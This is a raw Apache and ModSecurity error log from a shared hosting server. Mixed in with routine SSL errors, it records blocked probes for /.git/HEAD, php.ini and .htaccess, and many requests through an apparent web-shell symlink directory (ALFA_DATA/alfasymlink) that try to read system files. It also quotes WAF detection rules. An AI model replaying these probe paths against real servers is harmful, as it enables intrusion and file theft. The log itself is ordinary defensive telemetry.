[Mon Oct 26 05:24:56.859410 2026] [security2:error] [pid 3004471:tid 3004471] [client 43.165.198.224:57386] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hosp5/"] [unique_id "at8caPoFFV7OcZC6dvenOgAAAAk"]
[Mon Oct 26 05:24:59.292428 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 52.71.218.25:45871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:07.485753 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.200.93.170:11368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:12.207846 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 44.206.93.215:65097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:19.682868 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 54.85.126.86:37418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:27.497327 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 52.204.174.139:2117] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:35.516333 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 52.45.194.165:10403] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:37.988839 2026] [security2:error] [pid 3000176:tid 3000176] [client 216.180.246.37:21422] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at8ckYrpcdEFF4fNJsnJigAAABw"]
[Mon Oct 26 05:25:37.989953 2026] [authz_core:error] [pid 3000176:tid 3000176] [client 216.180.246.37:21422] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:25:43.586731 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.196.237.236:5221] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:51.571338 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 100.29.107.38:44196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:25:59.637246 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 52.202.52.82:47436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:07.690159 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 52.45.77.169:9865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:11.816953 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 34.206.249.188:41279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:16.026901 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 98.84.60.17:47078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:19.562578 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 54.90.8.255:21788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:23.674012 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 18.205.213.231:45428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:31.939985 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 35.168.238.50:34965] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:39.634905 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 3.219.80.71:30172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:43.808198 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.157.84.74:49167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:51.162134 2026] [core:crit] [pid 3004471:tid 3004471] (13)Permission denied: [client 216.180.246.37:31548] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 05:26:51.771390 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 52.45.77.169:2103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:26:55.864579 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 184.73.68.20:27536] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:27:04.134576 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.147.238.89:10784] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:27:07.714473 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 54.147.182.90:17706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:27:11.727245 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 35.172.125.172:59520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:27:12.409929 2026] [authz_core:error] [pid 3003468:tid 3003468] [client 216.180.246.37:59844] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:27:17.028009 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 18.209.201.119:48575] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/shpchp/new_id
[Mon Oct 26 05:27:19.815700 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.197.82.195:3000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:27:25.907368 2026] [cgi:error] [pid 3004471:tid 3004471] [client 216.180.246.37:55698] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 05:27:45.155338 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 3.220.70.171:20099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:00.929925 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.223.181.32:8919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:03.089784 2026] [security2:error] [pid 3002067:tid 3002067] [client 193.32.162.73:56228] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8dI1sig8HGQd7z4PYSqgAAAAM"]
[Mon Oct 26 05:28:03.090065 2026] [security2:error] [pid 3002067:tid 3002067] [client 193.32.162.73:56228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8dI1sig8HGQd7z4PYSqgAAAAM"]
[Mon Oct 26 05:28:03.090399 2026] [security2:error] [pid 3002067:tid 3002067] [client 193.32.162.73:56228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8dI1sig8HGQd7z4PYSqgAAAAM"]
[Mon Oct 26 05:28:03.266761 2026] [security2:error] [pid 3003467:tid 3003467] [client 193.32.162.73:56212] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8dI5uIQjmomBX6543VTAAAAAA"]
[Mon Oct 26 05:28:03.267000 2026] [security2:error] [pid 3003467:tid 3003467] [client 193.32.162.73:56212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8dI5uIQjmomBX6543VTAAAAAA"]
[Mon Oct 26 05:28:03.267279 2026] [security2:error] [pid 3003467:tid 3003467] [client 193.32.162.73:56212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8dI5uIQjmomBX6543VTAAAAAA"]
[Mon Oct 26 05:28:07.981593 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 52.45.77.169:18760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:12.089067 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.230.224.6:38038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:15.737074 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 44.210.213.220:29683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:19.794929 2026] [core:error] [pid 3003467:tid 3003467] (13)Permission denied: [client 185.191.171.14:64676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/shrink
[Mon Oct 26 05:28:19.800861 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.84.93.8:28335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:21.944409 2026] [security2:error] [pid 3000176:tid 3000176] [client 16.216.88.59:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at8dNYrpcdEFF4fNJsnJjwAAABw"]
[Mon Oct 26 05:28:21.944903 2026] [security2:error] [pid 3000176:tid 3000176] [client 16.216.88.59:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at8dNYrpcdEFF4fNJsnJjwAAABw"]
[Mon Oct 26 05:28:21.945239 2026] [security2:error] [pid 3000176:tid 3000176] [client 16.216.88.59:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at8dNYrpcdEFF4fNJsnJjwAAABw"]
[Mon Oct 26 05:28:23.841185 2026] [core:error] [pid 3000123:tid 3000123] (13)Permission denied: [client 44.209.187.99:16826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource0
[Mon Oct 26 05:28:31.683760 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 23.21.204.95:30119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:35.846802 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 18.206.47.187:17895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:39.918610 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 54.91.122.193:2482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:28:43.721632 2026] [core:error] [pid 3003467:tid 3003467] (13)Permission denied: [client 98.82.66.172:60192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/rescan
[Mon Oct 26 05:28:51.692503 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 52.22.64.232:4797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/driver/bind
[Mon Oct 26 05:29:03.763994 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 23.21.227.240:25874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:04.023595 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 85.208.96.207:36940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/remote_node_defrag_ratio
[Mon Oct 26 05:29:07.767962 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 34.195.248.30:15570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:15.739722 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 52.0.105.244:23894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:23.974416 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.3.127.170:42306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:28.062184 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 3.215.59.93:1113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:31.684158 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 54.84.93.8:24610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:35.685608 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 44.195.145.102:40042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:39.731181 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.225.45.252:58746] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:43.793960 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.73.6.26:62780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:43.794194 2026] [security2:error] [pid 2995190:tid 2995190] [client 52.73.6.26:62780] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/modalias"] [unique_id "at8dhx_ViEB4VmIsS1QWdQAAAAw"]
[Mon Oct 26 05:29:43.794219 2026] [security2:error] [pid 2995190:tid 2995190] [client 52.73.6.26:62780] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/modalias"] [unique_id "at8dhx_ViEB4VmIsS1QWdQAAAAw"]
[Mon Oct 26 05:29:55.694308 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 34.239.85.139:18967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:29:58.112322 2026] [security2:error] [pid 2995190:tid 2995190] [client 185.191.171.10:36290] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/english/errmsg.sys"] [unique_id "at8dlh_ViEB4VmIsS1QWdgAAAAw"]
[Mon Oct 26 05:29:58.112719 2026] [security2:error] [pid 2995190:tid 2995190] [client 185.191.171.10:36290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/english/errmsg.sys"] [unique_id "at8dlh_ViEB4VmIsS1QWdgAAAAw"]
[Mon Oct 26 05:29:58.113047 2026] [security2:error] [pid 2995190:tid 2995190] [client 185.191.171.10:36290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/english/errmsg.sys"] [unique_id "at8dlh_ViEB4VmIsS1QWdgAAAAw"]
[Mon Oct 26 05:30:07.991280 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 3.224.215.150:21146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:11.750001 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 18.204.89.56:19376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:15.698889 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 44.215.61.66:30648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:23.806461 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 44.205.120.22:10217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:27.761921 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 54.91.122.193:1868] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:35.819779 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 100.28.133.214:42194] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:39.846335 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 3.231.193.38:37545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:43.884154 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 100.29.155.89:10510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:0b/eject
[Mon Oct 26 05:30:51.715166 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 50.17.193.48:1383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:30:55.772962 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.216.13.10:19884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:07.693794 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 52.205.222.214:48615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:11.790338 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 52.2.4.213:47238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/aliases
[Mon Oct 26 05:31:19.881962 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 23.23.214.190:47678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:23.640249 2026] [ssl:error] [pid 3000185:tid 3000185] (22)Invalid argument: [client 18.233.24.238:49778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:26.682456 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 85.208.96.204:58364] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:27.791731 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 52.3.102.51:55376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:32.051758 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 3.211.105.134:37217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:39.806217 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.147.80.137:28159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:49.171662 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 18.214.124.6:2433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:52.011934 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.205.113.104:54461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:55.826288 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.221.203.24:64828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:31:59.938305 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 18.207.89.138:23935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:03.757624 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 98.82.66.172:7527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:03.832120 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 85.208.96.212:33256] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:03.868667 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 85.208.96.212:33264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:11.818586 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 34.231.77.232:52098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:20.188468 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.202.233.37:50838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:23.828563 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 3.218.103.254:46111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:31.768314 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 3.216.86.144:16855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:37.275512 2026] [security2:error] [pid 3000176:tid 3000176] [client 43.157.50.58:55680] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hosp2/"] [unique_id "at8eNYrpcdEFF4fNJsnJlAAAABw"]
[Mon Oct 26 05:32:40.122091 2026] [ssl:error] [pid 3000155:tid 3000155] (5)Input/output error: [client 52.22.64.232:29560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:43.739603 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.2.4.213:7334] AH02013: coalesce failed to read from data bucket
